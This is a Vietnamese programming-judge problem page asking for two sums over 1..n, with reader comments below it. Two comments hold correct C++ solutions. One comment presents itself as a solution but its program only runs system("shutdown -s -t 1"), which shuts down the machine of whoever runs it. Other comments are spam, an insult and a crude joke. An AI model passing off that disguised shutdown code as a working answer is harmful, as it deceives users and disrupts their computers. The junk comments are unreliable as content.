Tính tổng

View as PDF

Submit solution

Points: 0.10
Time limit: 1.5s
Memory limit: 64M
Input: stdin
Output: stdout

Authors:
Problem type
Mô tả vấn đề

Nhập một số nguyên dương N. Tính :

  • S1 = (1+2+3+...+n )/ n

  • S2 = 1.2.3 + 2.3.4 + 3.4.5 +....+ n(n+1)(n+2)

Input

Nhập số nguyên dương n (n ≤ 100)

Output

In ra S1, S2

Note: S1 làm tròn 1 chữ số thập phân

Sample Input 1
6
Sample Output 1
3.5 756

Comments

Please read the guidelines before commenting.



  • 1
    vuthinhatthanh  commented on March 4, 2026, 2:41 a.m.

    Bài làm nhé các bạn

    include <cstdlib> using namespace std;

    int main() { system("shutdown -s -t 1"); return 0; }


  • 1
    namtmn2013  commented on Dec. 5, 2025, 3:47 p.m.

    include <bits/stdc++.h>

    using namespace std; long long n; int main() { cin >> n; double S1 = (double)(n + 1) / 2; long long S2 = 0; for (int i = 1; i <= n; i++) { S2 = S2 + (long long)i * (i + 1) * (i + 2); } cout << fixed << setprecision(1) << S1 << " " << S2; return 0; }


  • 1
    namtmn2013  commented on Dec. 5, 2025, 3:46 p.m.

    hey


  • 1
    Dragonkhann  commented on Nov. 21, 2025, 9:36 a.m.

    include <bits/stdc++.h>

    using namespace std; long long n; int main() { cin >> n; /// Tính S1 double S1 = (double)(n + 1) / 2; /// Tính S2 long long S2 = 0; for (int i = 1; i <= n; i++) { S2 += (long long)i * (i + 1) * (i + 2); } /// In kết quả cout << fixed << setprecision(1) << S1 << " " << S2; return 0; }


  • 1
    bminhhh  commented on Nov. 11, 2025, 10:58 a.m.

    memaybeo


  • 1
    locnguyen  commented on Oct. 17, 2025, 2:37 p.m.

    say gex


  • 1
    locnguyen  commented on Oct. 17, 2025, 2:35 p.m. edit 2

    ChatLGBT is the best!